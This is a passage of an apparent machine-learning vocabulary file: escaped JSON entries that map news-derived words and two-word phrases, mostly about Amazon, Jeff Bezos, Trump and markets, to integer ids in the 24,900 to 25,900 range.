\"gas business\": 24933,\n  \"public comment\": 24934,\n  \"schools communities\": 24935,\n  \"leaders alike\": 24936,\n  \"jumped 186\": 24937,\n  \"carell claimed\": 24938,\n  \"thanksgiving turkey\": 24939,\n  \"big holding\": 24940,\n  \"washington afp\": 24941,\n  \"designed fundamental\": 24942,\n  \"vape pen\": 24943,\n  \"bedrooms\": 24944,\n  \"student tragic\": 24945,\n  \"purchases ahead\": 24946,\n  \"quicker bezos\": 24947,\n  \"legal reasons\": 24948,\n  \"spike 2018\": 24949,\n  \"2018 bebeto\": 24950,\n  \"tantrums don\": 24951,\n  \"person business\": 24952,\n  \"trail longer\": 24953,\n  \"obsessive feud\": 24954,\n  \"drain away\": 24955,\n  \"motors lockheed\": 24956,\n  \"obviously inspired\": 24957,\n  \"tsa\": 24958,\n  \"tract 32003002962\": 24959,\n  \"maintained senate\": 24960,\n  \"provides data\": 24961,\n  \"distinguished fellow\": 24962,\n  \"released newswire\": 24963,\n  \"digital realms\": 24964,\n  \"imageserve 42496460\": 24965,\n  \"bad ways\": 24966,\n  \"planes including\": 24967,\n  \"icymi film\": 24968,\n  \"twitter sen\": 24969,\n  \"scandalous abuse\": 24970,\n  \"strategy firm\": 24971,\n  \"world role\": 24972,\n  \"divorce earlier\": 24973,\n  \"627666862\": 24974,\n  \"world microsoft\": 24975,\n  \"sortorder\": 24976,\n  \"gabrielle dennis\": 24977,\n  \"usps labor\": 24978,\n  \"battling amazon\": 24979,\n  \"bezos doing\": 24980,\n  \"host greta\": 24981,\n  \"66947332 cms\": 24982,\n  \"saw small\": 24983,\n  \"closer cooperation\": 24984,\n  \"amzn wade\": 24985,\n  \"net overweight\": 24986,\n  \"vaccine friendly\": 24987,\n  \"street targets\": 24988,\n  \"harper design\": 24989,\n  \"jobs coming\": 24990,\n  \"problem appreciate\": 24991,\n  \"hurricane maria\": 24992,\n  \"faced moments\": 24993,\n  \"using revenues\": 24994,\n  \"rice mulls\": 24995,\n  \"services worldwide\": 24996,\n  \"knockoffs promoting\": 24997,\n  \"stock gains\": 24998,\n  \"oman\": 24999,\n  \"user figures\": 25000,\n  \"dynamics\": 25001,\n  \"hero treatment\": 25002,\n  \"catastrophic warming\": 25003,\n  \"trump associate\": 25004,\n  \"capitalization microsoft\": 25005,\n  \"2018 radioresource\": 25006,\n  \"prices ensuing\": 25007,\n  \"fact linked\": 25008,\n  \"involves charging\": 25009,\n  \"millennial readers\": 25010,\n  \"chinese bowing\": 25011,\n  \"investment investors\": 25012,\n  \"y6 var\": 25013,\n  \"ernest\": 25014,\n  \"huge list\": 25015,\n  \"wild paterson\": 25016,\n  \"leaders touted\": 25017,\n  \"jack beatty\": 25018,\n  \"does contribute\": 25019,\n  \"prioritize poor\": 25020,\n  \"lifeline\": 25021,\n  \"locker room\": 25022,\n  \"adsection\": 25023,\n  \"compass\": 25024,\n  \"acquired racy\": 25025,\n  \"massachusetts democrat\": 25026,\n  \"hartley act\": 25027,\n  \"desk just\": 25028,\n  \"mandatory housing\": 25029,\n  \"kelly communications\": 25030,\n  \"markay lachlan\": 25031,\n  \"detected suspicious\": 25032,\n  \"different sellers\": 25033,\n  \"editorial decisions\": 25034,\n  \"national service\": 25035,\n  \"profit called\": 25036,\n  \"weak case\": 25037,\n  \"bloomberg report\": 25038,\n  \"mont\": 25039,\n  \"department cronyism\": 25040,\n  \"ringwald supports\": 25041,\n  \"overcrowded subways\": 25042,\n  \"lengthy blog\": 25043,\n  \"briefly worth\": 25044,\n  \"henry holt\": 25045,\n  \"la w5\": 25046,\n  \"violations ami\": 25047,\n  \"program established\": 25048,\n  \"trump bugbears\": 25049,\n  \"best political\": 25050,\n  \"operations systems\": 25051,\n  \"small chip\": 25052,\n  \"completely isolated\": 25053,\n  \"supposedly posed\": 25054,\n  \"automobilnews\": 25055,\n  \"wrongdoing ms\": 25056,\n  \"owners hurt\": 25057,\n  \"people warned\": 25058,\n  \"analyst 2019\": 25059,\n  \"infrastructure week\": 25060,\n  \"advantage extracting\": 25061,\n  \"staunchly\": 25062,\n  \"view ripping\": 25063,\n  \"bowl 2019\": 25064,\n  \"terrace\": 25065,\n  \"feel churn\": 25066,\n  \"sanders vt\": 25067,\n  \"trump predecessors\": 25068,\n  \"dribbling\": 25069,\n  \"criticise saudi\": 25070,\n  \"thailand\": 25071,\n  \"taxes makes\": 25072,\n  \"animates politics\": 25073,\n  \"2000s eventually\": 25074,\n  \"electronic benefits\": 25075,\n  \"insinuated president\": 25076,\n  \"surrounding apple\": 25077,\n  \"popular shopper\": 25078,\n  \"target enterprise\": 25079,\n  \"rain carried\": 25080,\n  \"f4\": 25081,\n  \"capital region\": 25082,\n  \"vendors peter\": 25083,\n  \"officials tries\": 25084,\n  \"bedposts gerald\": 25085,\n  \"radio news\": 25086,\n  \"employ 000\": 25087,\n  \"founder remain\": 25088,\n  \"convoluted background\": 25089,\n  \"rumors speculation\": 25090,\n  \"2018 min\": 25091,\n  \"true conservative\": 25092,\n  \"neon braid\": 25093,\n  \"story construction\": 25094,\n  \"boy cbs\": 25095,\n  \"mattingly live\": 25096,\n  \"tablets suck\": 25097,\n  \"disposable\": 25098,\n  \"grey\": 25099,\n  \"ad council\": 25100,\n  \"marketplaces companies\": 25101,\n  \"sanchez featured\": 25102,\n  \"roma downey\": 25103,\n  \"things prefer\": 25104,\n  \"meaning people\": 25105,\n  \"excessive power\": 25106,\n  \"think donald\": 25107,\n  \"definitely knock\": 25108,\n  \"2002 winter\": 25109,\n  \"site contains\": 25110,\n  \"invest advisors\": 25111,\n  \"keynote earlier\": 25112,\n  \"competition authority\": 25113,\n  \"tourists\": 25114,\n  \"editor\": 25115,\n  \"poses\": 25116,\n  \"quiz games\": 25117,\n  \"music\": 25118,\n  \"prices reducing\": 25119,\n  \"franciscan\": 25120,\n  \"way impact\": 25121,\n  \"calling people\": 25122,\n  \"lower annual\": 25123,\n  \"altar\": 25124,\n  \"reportsthat trump\": 25125,\n  \"reports analysts\": 25126,\n  \"wicked cool\": 25127,\n  \"looking\": 25128,\n  \"warren buffet\": 25129,\n  \"mair lizmair\": 25130,\n  \"ribisi stars\": 25131,\n  \"subsequently launched\": 25132,\n  \"penning blog\": 25133,\n  \"list stars\": 25134,\n  \"boston news\": 25135,\n  \"journalist lauren\": 25136,\n  \"independent millionaire\": 25137,\n  \"american sanctions\": 25138,\n  \"help cps\": 25139,\n  \"2017 inaugural\": 25140,\n  \"300f delivered\": 25141,\n  \"site trump\": 25142,\n  \"wives\": 25143,\n  \"prices ranging\": 25144,\n  \"paying daniels\": 25145,\n  \"cooper swearing\": 25146,\n  \"point\": 25147,\n  \"absolutely mind\": 25148,\n  \"time having\": 25149,\n  \"loyalists\": 25150,\n  \"herera yes\": 25151,\n  \"enquirer expos\\u00e9\": 25152,\n  \"trump bolsters\": 25153,\n  \"paratroopers jump\": 25154,\n  \"repeatedly trying\": 25155,\n  \"course doesn\": 25156,\n  \"exterior\": 25157,\n  \"afterward 2018\": 25158,\n  \"hong\": 25159,\n  \"gianaris joined\": 25160,\n  \"owned surveillance\": 25161,\n  \"approximately 116\": 25162,\n  \"mind reads\": 25163,\n  \"carrier open\": 25164,\n  \"david remnick\": 25165,\n  \"starting pay\": 25166,\n  \"extra caption\": 25167,\n  \"include person\": 25168,\n  \"million frank\": 25169,\n  \"far short\": 25170,\n  \"publishing information\": 25171,\n  \"prayerand\": 25172,\n  \"wife jocelyn\": 25173,\n  \"squall\": 25174,\n  \"online payments\": 25175,\n  \"sources known\": 25176,\n  \"carmaggedon\": 25177,\n  \"100 height\": 25178,\n  \"itep criticized\": 25179,\n  \"gop time\": 25180,\n  \"woo attributes\": 25181,\n  \"strap\": 25182,\n  \"tonight fortune\": 25183,\n  \"thatbefore\": 25184,\n  \"stinging\": 25185,\n  \"bruno\": 25186,\n  \"instantly\": 25187,\n  \"reported 164\": 25188,\n  \"corsi writes\": 25189,\n  \"international giant\": 25190,\n  \"lucrative business\": 25191,\n  \"plaque\": 25192,\n  \"urban environments\": 25193,\n  \"invoicing amazon\": 25194,\n  \"forefront according\": 25195,\n  \"zone based\": 25196,\n  \"patiently\": 25197,\n  \"business results\": 25198,\n  \"credentials\": 25199,\n  \"1116et copyright\": 25200,\n  \"loses millions\": 25201,\n  \"worst losses\": 25202,\n  \"biased observers\": 25203,\n  \"affecting new\": 25204,\n  \"process brian\": 25205,\n  \"debt repayment\": 25206,\n  \"independently owns\": 25207,\n  \"changes including\": 25208,\n  \"buying ami\": 25209,\n  \"object\": 25210,\n  \"conflicts leading\": 25211,\n  \"news despite\": 25212,\n  \"seraph\": 25213,\n  \"llc amazon\": 25214,\n  \"brother jeb\": 25215,\n  \"shares jeff\": 25216,\n  \"witter brokerage\": 25217,\n  \"covers national\": 25218,\n  \"state concern\": 25219,\n  \"officer tony\": 25220,\n  \"twins\": 25221,\n  \"functionally amazon\": 25222,\n  \"including qualcomm\": 25223,\n  \"hoarding\": 25224,\n  \"governmental bodies\": 25225,\n  \"firecracker internally\": 25226,\n  \"notable milestone\": 25227,\n  \"air transportation\": 25228,\n  \"260 000\": 25229,\n  \"doj policy\": 25230,\n  \"manager whitney\": 25231,\n  \"polly columnist\": 25232,\n  \"global fear\": 25233,\n  \"embody liberal\": 25234,\n  \"msft msft\": 25235,\n  \"scheme involving\": 25236,\n  \"relatable shows\": 25237,\n  \"bristol john\": 25238,\n  \"idiosyncratic\": 25239,\n  \"amazon ownership\": 25240,\n  \"keri russell\": 25241,\n  \"clark st\": 25242,\n  \"unfounded hype\": 25243,\n  \"maker numbers\": 25244,\n  \"wearables\": 25245,\n  \"pre order\": 25246,\n  \"owns wapo\": 25247,\n  \"canada reached\": 25248,\n  \"private insurers\": 25249,\n  \"stories exist\": 25250,\n  \"armedia management\": 25251,\n  \"request antitrust\": 25252,\n  \"believe michael\": 25253,\n  \"lawful\": 25254,\n  \"year zuckerberg\": 25255,\n  \"partly corrected\": 25256,\n  \"leukemia\": 25257,\n  \"market access\": 25258,\n  \"additionally makes\": 25259,\n  \"fagna najarian\": 25260,\n  \"don mcgahn\": 25261,\n  \"advantages attributed\": 25262,\n  \"1972\": 25263,\n  \"breaking bones\": 25264,\n  \"flyingtypers offering\": 25265,\n  \"nato allies\": 25266,\n  \"dre\": 25267,\n  \"jefferies maintained\": 25268,\n  \"male jewish\": 25269,\n  \"pubg\\u52df\\u96c6\": 25270,\n  \"member mario\": 25271,\n  \"2018 nfl\": 25272,\n  \"world shook\": 25273,\n  \"city drew\": 25274,\n  \"159 page\": 25275,\n  \"live conference\": 25276,\n  \"retail hegemony\": 25277,\n  \"environmental changes\": 25278,\n  \"sessionstorage\": 25279,\n  \"surpassed direct\": 25280,\n  \"fact seeing\": 25281,\n  \"assuaged dread\": 25282,\n  \"gm pointed\": 25283,\n  \"garage bezos\": 25284,\n  \"kyleperisic\": 25285,\n  \"work brian\": 25286,\n  \"rossi journalist\": 25287,\n  \"family playbook\": 25288,\n  \"tech leader\": 25289,\n  \"greenpeace activists\": 25290,\n  \"amicable separation\": 25291,\n  \"picked hq2\": 25292,\n  \"obama wrote\": 25293,\n  \"international charts\": 25294,\n  \"wisconsin power\": 25295,\n  \"advancing\": 25296,\n  \"work harder\": 25297,\n  \"beat democratic\": 25298,\n  \"service operating\": 25299,\n  \"najib\": 25300,\n  \"repel\": 25301,\n  \"allows google\": 25302,\n  \"2018 woodward\": 25303,\n  \"trump nato\": 25304,\n  \"weeks australian\": 25305,\n  \"offers workers\": 25306,\n  \"possibly caused\": 25307,\n  \"world biggest\": 25308,\n  \"factor hile\": 25309,\n  \"sack\": 25310,\n  \"talented workforce\": 25311,\n  \"market icon\": 25312,\n  \"coming tariffs\": 25313,\n  \"aya0kkbxn2 pic\": 25314,\n  \"highest dividend\": 25315,\n  \"ascend\": 25316,\n  \"oversight independent\": 25317,\n  \"aoc needs\": 25318,\n  \"germany activists\": 25319,\n  \"amazon branded\": 25320,\n  \"hilarious debut\": 25321,\n  \"reduce overall\": 25322,\n  \"americans need\": 25323,\n  \"649\": 25324,\n  \"incredibly powerful\": 25325,\n  \"aws kicked\": 25326,\n  \"extending declines\": 25327,\n  \"main partners\": 25328,\n  \"francisco chavez\": 25329,\n  \"728\": 25330,\n  \"shootings education\": 25331,\n  \"unscrupulous sellers\": 25332,\n  \"esquivel\": 25333,\n  \"exports commitment\": 25334,\n  \"phosphate\": 25335,\n  \"provision chain\": 25336,\n  \"grasp\": 25337,\n  \"nooyi led\": 25338,\n  \"isolated cases\": 25339,\n  \"ordonez cnn\": 25340,\n  \"fair assessment\": 25341,\n  \"queens stems\": 25342,\n  \"sent terror\": 25343,\n  \"investigations trump\": 25344,\n  \"edugyan\": 25345,\n  \"victims suggested\": 25346,\n  \"nude photos\": 25347,\n  \"war torn\": 25348,\n  \"wnyc\": 25349,\n  \"trillion company\": 25350,\n  \"unveiled plan\": 25351,\n  \"ii media\": 25352,\n  \"european prime\": 25353,\n  \"personal continue\": 25354,\n  \"emergency workers\": 25355,\n  \"company blue\": 25356,\n  \"sabrent\": 25357,\n  \"endless details\": 25358,\n  \"transition teams\": 25359,\n  \"hitman\": 25360,\n  \"management believes\": 25361,\n  \"ro\\u00f1o\": 25362,\n  \"company don\": 25363,\n  \"pond drive\": 25364,\n  \"proudly supported\": 25365,\n  \"just read\": 25366,\n  \"school buses\": 25367,\n  \"wheelchair ramp\": 25368,\n  \"company 280\": 25369,\n  \"commercial material\": 25370,\n  \"scripts proxy\": 25371,\n  \"tissue research\": 25372,\n  \"speech health\": 25373,\n  \"dolly\": 25374,\n  \"propel additional\": 25375,\n  \"lobbying force\": 25376,\n  \"totally independent\": 25377,\n  \"explanations\": 25378,\n  \"years protecting\": 25379,\n  \"lgbtq athletes\": 25380,\n  \"service claiming\": 25381,\n  \"goods amazon\": 25382,\n  \"sufficient standard\": 25383,\n  \"ai object\": 25384,\n  \"suspended work\": 25385,\n  \"davivd cohnovernight\": 25386,\n  \"draws backlash\": 25387,\n  \"party ballot\": 25388,\n  \"investors new\": 25389,\n  \"key justice\": 25390,\n  \"horizontal merger\": 25391,\n  \"stone previously\": 25392,\n  \"jessica harris\": 25393,\n  \"haberman maggienyt\": 25394,\n  \"amazon benefitted\": 25395,\n  \"potus announced\": 25396,\n  \"madcap\": 25397,\n  \"rebel held\": 25398,\n  \"hughes becker\": 25399,\n  \"ecosystems\": 25400,\n  \"latest calculation\": 25401,\n  \"financial strength\": 25402,\n  \"early 18th\": 25403,\n  \"raided\": 25404,\n  \"cortez 14th\": 25405,\n  \"russian crime\": 25406,\n  \"mck cardinal\": 25407,\n  \"islamophobic anti\": 25408,\n  \"proposal expands\": 25409,\n  \"exports rebound\": 25410,\n  \"prominent\": 25411,\n  \"afternoon rush\": 25412,\n  \"endcorporatewelfare\": 25413,\n  \"used tactics\": 25414,\n  \"forest coverage\": 25415,\n  \"bunch\": 25416,\n  \"zieminski\": 25417,\n  \"hd cameras\": 25418,\n  \"trump store\": 25419,\n  \"ditch trump\": 25420,\n  \"teachers strike\": 25421,\n  \"pork\": 25422,\n  \"directly challenge\": 25423,\n  \"haynes location\": 25424,\n  \"nyu scott\": 25425,\n  \"gap alaraby\": 25426,\n  \"amazon racial\": 25427,\n  \"1537et\": 25428,\n  \"mcconnell anti\": 25429,\n  \"managerial\": 25430,\n  \"chile\": 25431,\n  \"greyhounds\": 25432,\n  \"primarily pushback\": 25433,\n  \"trump indiana\": 25434,\n  \"purchasers identities\": 25435,\n  \"america jin\": 25436,\n  \"women cupp\": 25437,\n  \"states bureau\": 25438,\n  \"sayed\": 25439,\n  \"pretty bad\": 25440,\n  \"flagrant\": 25441,\n  \"business bulls\": 25442,\n  \"constitution rudy\": 25443,\n  \"608 million\": 25444,\n  \"sources familiar\": 25445,\n  \"reporters churned\": 25446,\n  \"hutaaulmbj\": 25447,\n  \"fend\": 25448,\n  \"forest alessandra\": 25449,\n  \"higher turnout\": 25450,\n  \"robert kraft\": 25451,\n  \"photos exchanged\": 25452,\n  \"billion according\": 25453,\n  \"broad overhaul\": 25454,\n  \"streaming library\": 25455,\n  \"careful lyin\": 25456,\n  \"season happening\": 25457,\n  \"theories investigators\": 25458,\n  \"allowing governors\": 25459,\n  \"van susteren\": 25460,\n  \"siddiqui\": 25461,\n  \"country attorney\": 25462,\n  \"implicated providing\": 25463,\n  \"geddes privatization\": 25464,\n  \"amazon simply\": 25465,\n  \"channel pati\": 25466,\n  \"bush service\": 25467,\n  \"isn voting\": 25468,\n  \"americans mail\": 25469,\n  \"spokesperson issued\": 25470,\n  \"outbid\": 25471,\n  \"compare\": 25472,\n  \"yeah think\": 25473,\n  \"avalara maker\": 25474,\n  \"breakthrough ideas\": 25475,\n  \"ad brad\": 25476,\n  \"newswire united\": 25477,\n  \"company sanders\": 25478,\n  \"today passed\": 25479,\n  \"fell nearly\": 25480,\n  \"source markets\": 25481,\n  \"dakota favor\": 25482,\n  \"deadly wildfires\": 25483,\n  \"mahon\": 25484,\n  \"sharply imports\": 25485,\n  \"owner penis\": 25486,\n  \"company picked\": 25487,\n  \"hot seller\": 25488,\n  \"marvel iron\": 25489,\n  \"federal claims\": 25490,\n  \"north jersey\": 25491,\n  \"sox\": 25492,\n  \"saw millions\": 25493,\n  \"pays close\": 25494,\n  \"intentionally false\": 25495,\n  \"live\": 25496,\n  \"remains unconcerned\": 25497,\n  \"reddit forum\": 25498,\n  \"weren adversely\": 25499,\n  \"phelps\": 25500,\n  \"detained men\": 25501,\n  \"states secretary\": 25502,\n  \"patient makes\": 25503,\n  \"doing given\": 25504,\n  \"conversation brian\": 25505,\n  \"01am home\": 25506,\n  \"pausing\": 25507,\n  \"trump loyalist\": 25508,\n  \"money expect\": 25509,\n  \"ailing usps\": 25510,\n  \"twitter tobinben\": 25511,\n  \"owned businesses\": 25512,\n  \"public wrote\": 25513,\n  \"refueling advanced\": 25514,\n  \"center hardware\": 25515,\n  \"job listings\": 25516,\n  \"jemmons aka\": 25517,\n  \"pay low\": 25518,\n  \"billion prior\": 25519,\n  \"gop legislature\": 25520,\n  \"ftc inquiry\": 25521,\n  \"media\": 25522,\n  \"remain convinced\": 25523,\n  \"stranded weather\": 25524,\n  \"repeat shopper\": 25525,\n  \"perennially\": 25526,\n  \"yes wrote\": 25527,\n  \"suitor\": 25528,\n  \"tucker carlson\": 25529,\n  \"uber technologies\": 25530,\n  \"abrupt withdrawal\": 25531,\n  \"deceived\": 25532,\n  \"tabloid bezos\": 25533,\n  \"doing alright\": 25534,\n  \"unrelated deaths\": 25535,\n  \"hotter\": 25536,\n  \"long term\": 25537,\n  \"fact checked\": 25538,\n  \"tried reaching\": 25539,\n  \"equity owns\": 25540,\n  \"walt\": 25541,\n  \"job interview\": 25542,\n  \"amazon atlantic\": 25543,\n  \"additional 355\": 25544,\n  \"columnist danny\": 25545,\n  \"matador pocket\": 25546,\n  \"cited\": 25547,\n  \"country hudson\": 25548,\n  \"rate increases\": 25549,\n  \"uber sure\": 25550,\n  \"monetary adjustments\": 25551,\n  \"proctor gamble\": 25552,\n  \"png wadtw\": 25553,\n  \"preaker sent\": 25554,\n  \"country continues\": 25555,\n  \"2019 nasdaq\": 25556,\n  \"does rise\": 25557,\n  \"eric darling\": 25558,\n  \"prominent republican\": 25559,\n  \"capitol report\": 25560,\n  \"essentially locked\": 25561,\n  \"selling tax\": 25562,\n  \"millionaire survey\": 25563,\n  \"hurts millions\": 25564,\n  \"wolfs\": 25565,\n  \"story prompted\": 25566,\n  \"president calling\": 25567,\n  \"business contractors\": 25568,\n  \"executive sergio\": 25569,\n  \"vermont oxycontin\": 25570,\n  \"spring fund\": 25571,\n  \"subsidies offered\": 25572,\n  \"complex tax\": 25573,\n  \"objections later\": 25574,\n  \"collars books\": 25575,\n  \"impressively profitable\": 25576,\n  \"european stocks\": 25577,\n  \"monuments\": 25578,\n  \"177 shares\": 25579,\n  \"center forum\": 25580,\n  \"pushed procter\": 25581,\n  \"killing amazon\": 25582,\n  \"learning opportunities\": 25583,\n  \"rooney 2017\": 25584,\n  \"great amazon\": 25585,\n  \"industry importantly\": 25586,\n  \"future brent\": 25587,\n  \"old writer\": 25588,\n  \"logistics operation\": 25589,\n  \"confidant\": 25590,\n  \"products headed\": 25591,\n  \"article 231\": 25592,\n  \"exotic type\": 25593,\n  \"defense james\": 25594,\n  \"virus vaccine\": 25595,\n  \"provides sellers\": 25596,\n  \"remake stars\": 25597,\n  \"best coach\": 25598,\n  \"source project\": 25599,\n  \"offset future\": 25600,\n  \"promptly took\": 25601,\n  \"metals microbiology\": 25602,\n  \"oena diamond\": 25603,\n  \"constantly competing\": 25604,\n  \"trump orders\": 25605,\n  \"ep\": 25606,\n  \"year 2037\": 25607,\n  \"germany bayer\": 25608,\n  \"a8\": 25609,\n  \"trump publication\": 25610,\n  \"derisively\": 25611,\n  \"brings plenty\": 25612,\n  \"bittman\": 25613,\n  \"recent rout\": 25614,\n  \"ziedins says\": 25615,\n  \"topstories html\": 25616,\n  \"character chris\": 25617,\n  \"outrage especially\": 25618,\n  \"hallum capital\": 25619,\n  \"growth predicted\": 25620,\n  \"trillion figure\": 25621,\n  \"identify plan\": 25622,\n  \"definitely hasn\": 25623,\n  \"georgescu\": 25624,\n  \"podcast town\": 25625,\n  \"yes good\": 25626,\n  \"global giant\": 25627,\n  \"create monster\": 25628,\n  \"burns ap\": 25629,\n  \"inspired legions\": 25630,\n  \"quality vendor\": 25631,\n  \"stock plunged\": 25632,\n  \"mayor rudy\": 25633,\n  \"sided news\": 25634,\n  \"detention centers\": 25635,\n  \"faith negotiations\": 25636,\n  \"acosta credentials\": 25637,\n  \"merkle\": 25638,\n  \"wants ban\": 25639,\n  \"unsuccessfully sued\": 25640,\n  \"peasant\": 25641,\n  \"boats don\": 25642,\n  \"chinese workers\": 25643,\n  \"import tax\": 25644,\n  \"scrap roe\": 25645,\n  \"abc elizabeth\": 25646,\n  \"hq2 contest\": 25647,\n  \"afp getty\": 25648,\n  \"files exposed\": 25649,\n  \"500 foreign\": 25650,\n  \"holly sullivan\": 25651,\n  \"wilson restraining\": 25652,\n  \"quarterly record\": 25653,\n  \"vox reached\": 25654,\n  \"requested anonymity\": 25655,\n  \"policies written\": 25656,\n  \"fiscal policy\": 25657,\n  \"resource management\": 25658,\n  \"rainy days\": 25659,\n  \"href jquery\": 25660,\n  \"seventeen authors\": 25661,\n  \"intermediaries integrating\": 25662,\n  \"read sears\": 25663,\n  \"recounted tales\": 25664,\n  \"shoe retailer\": 25665,\n  \"jr acknowledges\": 25666,\n  \"unflattering headlines\": 25667,\n  \"feast\": 25668,\n  \"law msh\": 25669,\n  \"amazon limited\": 25670,\n  \"handle people\": 25671,\n  \"president trade\": 25672,\n  \"world doesn\": 25673,\n  \"process returns\": 25674,\n  \"headcount investments\": 25675,\n  \"woman prior\": 25676,\n  \"2016 elections\": 25677,\n  \"military base\": 25678,\n  \"markle wedding\": 25679,\n  \"worth trillion\": 25680,\n  \"adventure\": 25681,\n  \"company toxic\": 25682,\n  \"sought advice\": 25683,\n  \"ponti\": 25684,\n  \"bo\": 25685,\n  \"comedy exactly\": 25686,\n  \"articles panel\": 25687,\n  \"damned think\": 25688,\n  \"urge corporate\": 25689,\n  \"anchor climbing\": 25690,\n  \"backdoor profits\": 25691,\n  \"ami conceded\": 25692,\n  \"manager express\": 25693,\n  \"advertising live\": 25694,\n  \"life begins\": 25695,\n  \"aspart\": 25696,\n  \"reputed fake\": 25697,\n  \"technology platform\": 25698,\n  \"walks past\": 25699,\n  \"surprise\": 25700,\n  \"european cars\": 25701,\n  \"compton cap\": 25702,\n  \"venture capitalist\": 25703,\n  \"depot walmart\": 25704,\n  \"cc fscavo\": 25705,\n  \"obtained text\": 25706,\n  \"forming crony\": 25707,\n  \"prisoners untrained\": 25708,\n  \"ben kirshner\": 25709,\n  \"figure slumped\": 25710,\n  \"justice according\": 25711,\n  \"encourage employers\": 25712,\n  \"item\": 25713,\n  \"personal animus\": 25714,\n  \"county line\": 25715,\n  \"privacy scandals\": 25716,\n  \"worker treatment\": 25717,\n  \"583\": 25718,\n  \"marthaw\": 25719,\n  \"snot\": 25720,\n  \"armando\": 25721,\n  \"claim rated\": 25722,\n  \"philosophic\": 25723,\n  \"ng newstageng\": 25724,\n  \"seeking replacement\": 25725,\n  \"bezos attorney\": 25726,\n  \"retail transaction\": 25727,\n  \"mar lago\": 25728,\n  \"including hundreds\": 25729,\n  \"company doesn\": 25730,\n  \"operators\": 25731,\n  \"investigating antitrust\": 25732,\n  \"defying\": 25733,\n  \"reported proudly\": 25734,\n  \"technology healthcare\": 25735,\n  \"svp\": 25736,\n  \"fundamental risk\": 25737,\n  \"stamford\": 25738,\n  \"slightest concern\": 25739,\n  \"did agree\": 25740,\n  \"washington washington\": 25741,\n  \"daddy warbucks\": 25742,\n  \"missouri ad\": 25743,\n  \"hearings followed\": 25744,\n  \"commerce capturing\": 25745,\n  \"bezos chairman\": 25746,\n  \"thomas cooke\": 25747,\n  \"factories run\": 25748,\n  \"buffett wrote\": 25749,\n  \"letter support\": 25750,\n  \"mia goth\": 25751,\n  \"veteran party\": 25752,\n  \"replaces\": 25753,\n  \"ridiculous amazon\": 25754,\n  \"recovery rival\": 25755,\n  \"quarterly meeting\": 25756,\n  \"traction\": 25757,\n  \"available online\": 25758,\n  \"antithetical\": 25759,\n  \"restaurant 2013\": 25760,\n  \"unsettlingly bald\": 25761,\n  \"evidently\": 25762,\n  \"revitalize\": 25763,\n  \"skit\": 25764,\n  \"hose\": 25765,\n  \"power people\": 25766,\n  \"000 tenfold\": 25767,\n  \"straight gain\": 25768,\n  \"powerfully appealed\": 25769,\n  \"dave king\": 25770,\n  \"airbnb operates\": 25771,\n  \"stock anxiety\": 25772,\n  \"women candidates\": 25773,\n  \"obvious change\": 25774,\n  \"pring\": 25775,\n  \"goof\": 25776,\n  \"aughts help\": 25777,\n  \"ex wife\": 25778,\n  \"car garage\": 25779,\n  \"rung communication\": 25780,\n  \"firm paysa\": 25781,\n  \"data used\": 25782,\n  \"bold added\": 25783,\n  \"bell penney\": 25784,\n  \"ones alive\": 25785,\n  \"european unions\": 25786,\n  \"920 price\": 25787,\n  \"longer running\": 25788,\n  \"plaza\": 25789,\n  \"cowboys\": 25790,\n  \"american businesses\": 25791,\n  \"benefits claims\": 25792,\n  \"website c5\": 25793,\n  \"stars thank\": 25794,\n  \"advisor facing\": 25795,\n  \"awfully\": 25796,\n  \"profits index\": 25797,\n  \"angerer think\": 25798,\n  \"tedx talk\": 25799,\n  \"bald head\": 25800,\n  \"include rise\": 25801,\n  \"congress falls\": 25802,\n  \"huge draw\": 25803,\n  \"lawbreaking\": 25804,\n  \"276\": 25805,\n  \"wow factor\": 25806,\n  \"increase prices\": 25807,\n  \"feel confident\": 25808,\n  \"data care\": 25809,\n  \"unlock doors\": 25810,\n  \"company sellers\": 25811,\n  \"initiatives hoped\": 25812,\n  \"mixes media\": 25813,\n  \"subscriber base\": 25814,\n  \"better customer\": 25815,\n  \"teirstein\": 25816,\n  \"guns led\": 25817,\n  \"annually according\": 25818,\n  \"caucus wrote\": 25819,\n  \"commerce castro\": 25820,\n  \"children watch\": 25821,\n  \"walker donald\": 25822,\n  \"imports maduro\": 25823,\n  \"hawk told\": 25824,\n  \"inches total\": 25825,\n  \"fortune hovers\": 25826,\n  \"china relations\": 25827,\n  \"wave andrea\": 25828,\n  \"estad\\u0103o conte\\u00fado\": 25829,\n  \"foto sourcephoto\": 25830,\n  \"brands topped\": 25831,\n  \"ranked second\": 25832,\n  \"difficulty shopping\": 25833,\n  \"earvil watson\": 25834,\n  \"cbs london\": 25835,\n  \"large banner\": 25836,\n  \"financial experts\": 25837,\n  \"corporate oligarchs\": 25838,\n  \"journey begins\": 25839,\n  \"glorify hatred\": 25840,\n  \"haymarket books\": 25841,\n  \"subjugate americans\": 25842,\n  \"investors tonight\": 25843,\n  \"named lina\": 25844,\n  \"fascinating interplay\": 25845,\n  \"career aspirations\": 25846,\n  \"communications technology\": 25847,\n  \"colluded massively\": 25848,\n  \"mile truck\": 25849,\n  \"tina\": 25850,\n  \"canada 8217\": 25851,\n  \"minor elements\": 25852,\n  \"mckinsey\": 25853,\n  \"1041868256464654336\": 25854,\n  \"news coverage\": 25855,\n  \"strategy\": 25856,\n  \"held sway\": 25857,\n  \"___ china\": 25858,\n  \"innovation click\": 25859,\n  \"fresh vigor\": 25860,\n  \"critical tweets\": 25861,\n  \"mount 2018\": 25862,\n  \"news closed\": 25863,\n  \"projects harris\": 25864,\n  \"credit meaning\": 25865,\n  \"say ensured\": 25866,\n  \"gain worldwide\": 25867,\n  \"berman jackson\": 25868,\n  \"h5 w5\": 25869,\n  \"illiterate tracy\": 25870,\n  \"stakes expenditures\": 25871,\n  \"hours wage\": 25872,\n  \"counterfeiters peter\": 25873,\n  \"congress stay\": 25874,\n  \"avoiding state\": 25875,\n  \"headlinetext videocollectiondivid\": 25876,\n  \"ft continues\": 25877,\n  \"relatively esoteric\": 25878,\n  \"topics feature\": 25879,\n  \"love rules\": 25880,\n  \"drawn trump\": 25881,\n  \"kuow reports\": 25882,\n  \"spent decades\": 25883,\n  \"similar criticism\": 25884,\n  \"offers lot\": 25885,\n  \"second straight\": 25886,\n  \"america default\": 25887,\n  \"college life\": 25888,\n  \"c4e stop\": 25889,\n  \"large percentage\": 25890,\n  \"settled kenzie\": 25891,\n  \"men club\": 25892,\n  \"representing rivals\": 25893,\n  \"robert patterson\": 25894,\n  \"hundreds understand\": 25895,\n  \"oracle database\": 25896,\n  \"minor injury\": 25897,\n  \"trade expert\": 25898,\n  \"consider guild\": 25899,\n  \"counsel russia\": 25900,\n  \"global stories\": 25901,\n  \"risks making\": 25902,\n  